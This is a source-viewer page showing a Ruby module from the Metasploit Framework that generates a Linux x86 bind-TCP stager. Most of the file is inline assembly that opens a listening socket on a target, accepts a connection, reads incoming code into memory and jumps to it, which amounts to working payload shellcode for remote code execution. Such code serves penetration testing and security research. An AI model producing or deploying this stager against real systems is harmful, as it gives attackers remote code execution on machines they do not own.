PageRenderTime 24ms CodeModel.GetById 23ms RepoModel.GetById 1ms app.codeStats 0ms

/lib/msf/core/payload/linux/bind_tcp.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 206 lines | 138 code | 35 blank | 33 comment | 4 complexity | 4ed4c3724711347846ead5fd9c1980bb MD5 | raw file
  1. # -*- coding: binary -*-
  2. require 'msf/core'
  3. require 'msf/core/payload/transport_config'
  4. require 'msf/core/payload/linux/send_uuid'
  5. module Msf
  6. ###
  7. #
  8. # Complex bindtcp payload generation for Linux ARCH_X86
  9. #
  10. ###
  11. module Payload::Linux::BindTcp
  12. include Msf::Payload::TransportConfig
  13. include Msf::Payload::Linux
  14. include Msf::Payload::Linux::SendUUID
  15. #
  16. # Generate the first stage
  17. #
  18. def generate
  19. conf = {
  20. port: datastore['LPORT'],
  21. reliable: false
  22. }
  23. # Generate the more advanced stager if we have the space
  24. unless self.available_space.nil? || required_space > self.available_space
  25. conf[:exitfunk] = datastore['EXITFUNC'],
  26. conf[:reliable] = true
  27. end
  28. generate_bind_tcp(conf)
  29. end
  30. #
  31. # By default, we don't want to send the UUID, but we'll send
  32. # for certain payloads if requested.
  33. #
  34. def include_send_uuid
  35. false
  36. end
  37. def use_ipv6
  38. false
  39. end
  40. #
  41. # Generate and compile the stager
  42. #
  43. def generate_bind_tcp(opts={})
  44. asm = asm_bind_tcp(opts)
  45. Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
  46. end
  47. def transport_config(opts={})
  48. transport_config_bind_tcp(opts)
  49. end
  50. #
  51. # Determine the maximum amount of space required for the features requested
  52. #
  53. def required_space
  54. # Start with our cached default generated size
  55. space = cached_size
  56. # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
  57. # TODO: coming soon
  58. #space += 14
  59. # The final estimated size
  60. space
  61. end
  62. #
  63. # Generate an assembly stub with the configured feature set and options.
  64. #
  65. # @option opts [Fixnum] :port The port to connect to
  66. # @option opts [Bool] :reliable Whether or not to enable error handling code
  67. #
  68. def asm_bind_tcp(opts={})
  69. #reliable = opts[:reliable]
  70. af_inet = 2
  71. if use_ipv6
  72. af_inet = 0xa
  73. end
  74. encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first
  75. asm = %Q^
  76. bind_tcp:
  77. push 0x7d ; mprotect syscall
  78. pop eax
  79. cdq
  80. mov dl,0x7
  81. mov ecx,0x1000
  82. mov ebx,esp
  83. and bx,0xf000
  84. int 0x80 ; invoke mprotect
  85. xor ebx,ebx
  86. mul ebx
  87. push ebx ; PROTO
  88. inc ebx ; SYS_SOCKET and SOCK_STREAM
  89. push ebx
  90. push #{af_inet} ; SYS_BIND and AF_INET(6)
  91. mov ecx,esp
  92. mov al,0x66 ; socketcall syscall
  93. int 0x80 ; invoke socketcall (SYS_SOCKET)
  94. ; set the SO_REUSEADDR flag on the socket
  95. push ecx
  96. push 4
  97. push esp
  98. push 2
  99. push 1
  100. push eax
  101. xchg eax,edi ; stash the socket handle
  102. mov ecx, esp
  103. push 0xe ; SYS_SETSOCKOPT
  104. pop ebx
  105. push 0x66 ; socketcall syscall
  106. pop eax
  107. int 0x80
  108. xchg eax,edi ; restore the socket handle
  109. add esp, 0x14
  110. pop ecx ; restore ecx
  111. pop ebx
  112. pop esi
  113. ^
  114. if use_ipv6
  115. asm << %Q^
  116. push 2
  117. pop ebx
  118. push edx
  119. push edx
  120. push edx
  121. push edx
  122. push edx
  123. push edx
  124. push #{encoded_port}
  125. mov ecx,esp
  126. push 0x1c
  127. ^
  128. else
  129. asm << %Q^
  130. push edx
  131. push #{encoded_port}
  132. push 0x10
  133. ^
  134. end
  135. asm << %Q^
  136. push ecx
  137. push eax
  138. mov ecx,esp
  139. push 0x66 ; socketcall syscall
  140. pop eax
  141. int 0x80 ; invoke socketcall (SYS_BIND)
  142. shl ebx,1 ; SYS_LISTEN
  143. mov al,0x66 ; socketcall syscall (SYS_LISTEN)
  144. int 0x80 ; invoke socketcall
  145. push eax ; stash the listen socket
  146. inc ebx ; SYS_ACCEPT
  147. mov al,0x66 ; socketcall syscall
  148. mov [ecx+0x4],edx
  149. int 0x80 ; invoke socketcall (SYS_ACCEPT)
  150. xchg eax,ebx
  151. ^
  152. if include_send_uuid
  153. asm << %Q^
  154. mov edi, ebx
  155. #{asm_send_uuid}
  156. ^
  157. end
  158. asm << %Q^
  159. mov dh,0xc ; at least 0x0c00 bytes
  160. mov al,0x3 ; read syscall
  161. int 0x80 ; invoke read
  162. xchg ebx,edi ; stash the accept socket in edi
  163. pop ebx ; restore the listen socket
  164. mov al,0x6 ; close syscall
  165. int 0x80 ; invoke close
  166. jmp ecx ; jump to the payload
  167. ^
  168. asm
  169. end
  170. end
  171. end